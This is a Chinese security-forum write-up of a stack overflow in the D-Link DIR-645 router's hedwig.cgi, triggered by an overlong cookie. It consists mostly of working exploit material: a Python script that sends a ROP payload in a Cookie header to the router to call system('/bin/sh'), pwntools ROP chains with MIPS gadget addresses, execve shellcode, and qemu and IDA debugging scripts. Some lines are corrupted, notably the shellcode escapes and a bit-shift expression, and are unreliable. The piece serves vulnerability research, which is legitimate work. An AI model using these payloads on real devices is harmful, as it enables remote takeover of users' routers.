本文为看雪论精华文章
看雪论坛作者ID:pureGavin
前言
-
IDA Pro:反汇编和远程调试
-
Ghidra 9.1.2:我的IDA不能生成mips的伪代码,所以我用ghidra来看伪代码
-
Ubuntu + qemu:模拟路由器运行环境
-
固件下载链接:
ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.01.ZIP
binwalk -e DIR645A1_FW101B06.bin
#sudo ./pentest_cgi.sh 'uid=1234' `python -c "print 'uid=123'+'A'*0x600"`
INPUT="$1"
TEST="$2"
LEN=$(echo -n "$INPUT" | wc -c)
PORT="1234"
if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
echo -e "nUsage: sudo $0 n"
exit 1
fi
#需要将qemu-mipsel改成qemu-mipsel-static
cp $(which qemu-mipsel-static) ./qemu
echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$TEST -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="192.168.1.1" -g $PORT /htdocs/web/hedwig.cgi
echo 'run ok'
rm -f ./qemu
# !/bin/bash
#
# 载入定位字符串,设置环境变量,模拟真实的运行环境,IDA远程调试执行
#
# hedwig.cgi -> /htdocs/cgibin
TEST=$(python2.7 -c "print'uid='+open('dir645_patternLocOffset_test','r').read()")
echo $TEST
LEN=$(echo -n $TEST|wc -c)
echo $LEN
sudo cp $(which qemu-mipsel-static) ./
sudo chroot $PWD /qemu-mipsel-static -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$TEST -E CONTENT_LENGTH=$LEN -E REQUEST_URI="/hedwig.cgi" -E REQUEST_METHOD="POST" -E REMOTE_ADDR="192.168.80.133" -g 1234 /htdocs/web/hedwig.cgi
python2.7 ./patternLocOffset.py -c -l 2000 -f dir645_patternLocOffset_test
sudo brctl addbr virbr0
sudo ifconfig virbr0 192.168.122.1/24 up
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.122.11/24 up
sudo brctl addif virbr0 tap0
qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=ttyS0" -net nic,macaddr=00:0c:29:d4:72:11 -net tap -nographic
ifconfig eth0 192.168.122.12/24 up
scp -r ./squashfs-root root@192.168.254.132:/root/
echo 0 > /proc/sys/kernel/randomize_va_space
qemu:handle_cpu_signal received signal outside vCPU context @ pc=0x601665d2
apt-get install python2
curl https://bootstrap.pypa.io/get-pip.py --output get-pip.py
python2 get-pip.py
sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
git clone https://github.com/devttys0/sasquatch
cd sasquatch && ./build.sh
gdb-multiarch ./htdocs/cgibin
set arch mips
set endian big
target remote 192.168.80.133:1234
# coding:utf-8
import sys
import time
import string
import socket
from random import Random
import urllib, urllib2, httplib
class MIPSPayload:
BADBYTES=[0x00]
LITTLE = "little"
BIG = 'big'
FILLER = 'A'
BYTES = 4
def __init__(self,libase=0, endianess=LITTLE, badbytes=BADBYTES):
self.libase = libase
self.shellcode = ""
self.endianess = endianess
self.badbytes = badbytes
def rand_text(self, size):
str = ''
chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
length = len(chars) - 1
random = Random()
for i in range(size):
str += chars[random.randint(0,length)]
return str
def Add(self, data):
self.shellcode += data
# get RA addr
def Address(self, offset, base=None):
if base is None:
base = self.libase
return self.ToString(base + offset)
def AddAddress(self, offset, base=None):
self.Add(self.Address(offset, base))
def AddBuffer(self,size, byte=FILLER):
self.Add(byte * size)
def AddNops(self, size):
if self.endianess == self.LITTLE:
self.Add(self.rand_text(size))
else:
self.Add(self.rand_text(size))
def ToString(self,value, size= BYTES):
data =''
for i in range(0, size):
data += chr((value 8*i)) & 0xFF) (
if self.endianess != self.LITTLE:
data = data[::-1]
return data
def Build(self):
count = 0
for c in self.shellcode:
for cbyte in self.badbytes:
if c == chr(cbyte):
raise Exception("Bad byte found in shellcode at offset %d: 0x%.2x"%(count,cbyte))
count +=1
return self.shellcode
def Print(self, bp1=BYTES):
i = 0
for c in self.shellcode:
if i == 4:
print ""
i = 0
sys.stdout.write("\x%.2X"%ord(c))
sys.stdout.flush()
if bp1 > 0:
i += 1
print "n"
class HTTP:
HTTP = 'http'
def __init__(self, host, proto=HTTP, verbose=False):
self.host = host
self.proto = proto
self.verbose = verbose
self.encode_params = True
def Encode(self, data):
#just for DIR645
if type(data) == dict:
pdata =[]
for k in data.keys():
pdata.append(k + '=' + data[k])
data = pdata[1] + '&' + pdata[0]
else:
data = urllib.quote_plus(data)
return data
def Send(self, uri='', headers={}, data=None, response=False, encode_params=True):
html = ""
if uri.startswith('/'):
c = ''
else:
c = '/'
url = '%s://%s'%(self.proto, self.host)
uri = '/%s'%uri
if data is not None:
data = self.Encode(data)
#print data
if self.verbose:
print url
httpcli = httplib.HTTPConnection(self.host, 80, timeout=30)
httpcli.request('POST', uri, data, headers=headers)
response=httpcli.getresponse()
print response.status
print response.read()
if __name__ == '__main__':
libc = 0x7f738000 #0x40854000
'''
ROP
$ra = 0x77f34000 + 0x000158C8
*************************************************
$s5 = 0x77f34000 + 0x159cc
$s0 = 0x77f34000 + 0x531FF
0x158c8:
.text:000158C8 move $t9, $s5
.text:000158CC jalr $t9
.text:000158D0 addiu $s0, 1
*************************************************
$s0 = 0x77F87200 :system
$s5 = commandAddr = $sp+0x10
0x159cc:
.text:000159CC addiu $s5, $sp, 0x10
.text:000159D0 move $a1, $s3
.text:000159D4 move $a2, $s1
.text:000159D8 move $t9, $s0
.text:000159DC jalr $t9 ; mempcpy
'''
target = {
"645-1.01":[0x531ff, 0x158c8, 0x159cc],
}
v = '645-1.01'
cmd = '/bin/sh'
ip = '192.168.0.1'
payload = MIPSPayload(endianess="little", badbytes=[0x0d, 0x0a])
payload.AddBuffer(1007) #filler
payload.AddAddress(target[v][0], base=libc) #$s0 0x77f34000 + 0x531ff
payload.AddBuffer(4) #$s1
payload.AddBuffer(4) #$s2
payload.AddBuffer(4) #$s3
payload.AddBuffer(4) #$s4
payload.AddAddress(target[v][2], base=libc) #$s5 # 0x77f34000 +0x159cc
payload.AddBuffer(4) #unused($s6)
payload.AddBuffer(4) #unused($s7)
#payload.Add(payload.ToString(0x0043B6D0))
payload.AddBuffer(4) #unused($gp)
# 1043
payload.AddAddress(target[v][1], base=libc) #$ra # 0x77f34000 +0x158c8= 0x77F498C8
payload.AddBuffer(4) # fill
payload.AddBuffer(4) # fill
payload.AddBuffer(4) # fill
payload.AddBuffer(4) # fill
payload.Add(cmd) # shellcode
pdata = {
'uid':'shuidi',
'password':'shuidi',
}
print payload.shellcode
payload = payload.Build()
print payload
fw = open('dir645_patternLocOffset_test', 'w')
fw.write(payload) # 'A'
fw.close()
'''
header = {
'Cookie' : 'uid='+payload.Build(),
'Accept-Encoding' : 'gzip, deflate',
'Content-Type' : 'application/x-www-form-urlencoded',
'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'
}
try:
HTTP(ip).Send('hedwig.cgi',data=pdata, headers=header, encode_params=False,response=True)
except httplib.BadStatusLine:
print "Payload deliverd."
except Exception,e:
print "2Payload delivery failed: %s" % str(e)
····
from pwn import *
context.endian = "little"
context.arch = "mips"
base_addr = 0x7f738000
system_addr_1 = 0x53200-1
gadget1 = 0x45988
gadget2 = 0x159cc
padding = 'A' * 0x3cd
padding += p32(base_addr + system_addr_1) # s0
padding += p32(base_addr + gadget2) # s1
padding += 'A' * 4 # s2
padding += 'A' * 4 # s3
padding += 'A' * 4 # s4
padding += 'A' * 4 # s5
padding += 'A' * 4 # s6
padding += 'A' * 4 # s7
padding += 'A' * 4 # fp
padding += p32(base_addr + gadget1) # ra
padding += 'B' * 0x10
padding += '/bin//sh'
f = open("exploit",'wb+')
f.write(padding)
f.close()
apt-get install binutils-mipsel-linux-gnu
from pwn import *
'mips' context.arch=
"slti $a2, $zero, -1") asm(
'xffxffx06('
b'xffxffx06x28'=='xffxffx06('
True
from pwn import *
context.endian="little"
context.arch="mips"
libc_base = 0x7f738000
sleep = 0x56BD0
gadget1 = 0x57E50
gadget2 = 0x3B8A8
gadget3 = 0x14F28
gadget4 = 0x1DD08
# Linux/MIPS - execve /bin/sh - 48 bytes
shellcode = "xffxffx06x28" # slti $a2, $zero, -1
shellcode += "x62x69x0fx3c" # lui $t7, 0x6962
shellcode += "x2fx2fxefx35" # ori $t7, $t7, 0x2f2f
shellcode += "xf4xffxafxaf" # sw $t7, -0xc($sp)
shellcode += "x73x68x0ex3c" # lui $t6, 0x6873
shellcode += "x6ex2fxcex35" # ori $t6, $t6, 0x2f6e
shellcode += "xf8xffxaexaf" # sw $t6, -8($sp)
shellcode += "xfcxffxa0xaf" # sw $zero, -4($sp)
shellcode += "xf4xffxa4x27" # addiu $a0, $sp, -0xc
shellcode += "xffxffx05x28" # slti $a1, $zero, -1
shellcode += "xabx0fx02x24" # addiu;$v0, $zero, 0xfab
shellcode += "x0cx01x01x01" # syscall 0x40404
payload = 'A' * 0x3ef #1043-4*9
payload += 'A' * 4 # s0
payload += p32(libc_base + gadget2) # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2
payload += p32(libc_base + sleep) # s2 = jr $(sp+0x24)
payload += 'A' * 4 # s3
payload += p32(libc_base + gadget4) # s4 = mipsrop.find("move $t9,$s1") && jr shellcode
payload += 'A' * 4 # s5
payload += 'A' * 4 # s6
payload += 'A' * 4 # s7
payload += 'A' * 4 # fp
payload += p32(libc_base + gadget1) # fisrt_ra = mipsrop.find("li $a0,1") && jr s1
payload += 'B' * 0x24 # mipsrop.tail() 0x24B padding
payload += p32(libc_base + gadget3) # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4
payload += 'c' * 0x18 # mipsrop.stackfinder() 0x18B padding
payload += shellcode
f = open("exploit",'wb+')
f.write(payload)
f.close()
# !/bin/bash
#
# 载入定位字符串,设置环境变量,模拟真实的运行环境,IDA远程调试执行
#
# hedwig.cgi -> /htdocs/cgibin
TEST=$(python2.7 -c "print'uid='+open('exploit','r').read()")
echo $TEST
LEN=$(echo -n $TEST|wc -c)
echo $LEN
sudo cp $(which qemu-mipsel-static) ./
sudo chroot $PWD ./qemu-mipsel-static -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$TEST -E CONTENT_LENGTH=$LEN -E REQUEST_URI="/hedwig.cgi" -E REQUEST_METHOD="POST" -E REMOTE_ADDR="192.168.80.128" -g 1234 /htdocs/web/hedwig.cgi
结束语
看雪ID:pureGavin
https://bbs.pediy.com/user-home-777502.htm
*本文由看雪论坛 pureGavin 原创,转载请注明来自看雪社区。
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
本文始发于微信公众号(看雪学院):dir-645 超长cookie栈溢出漏洞分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论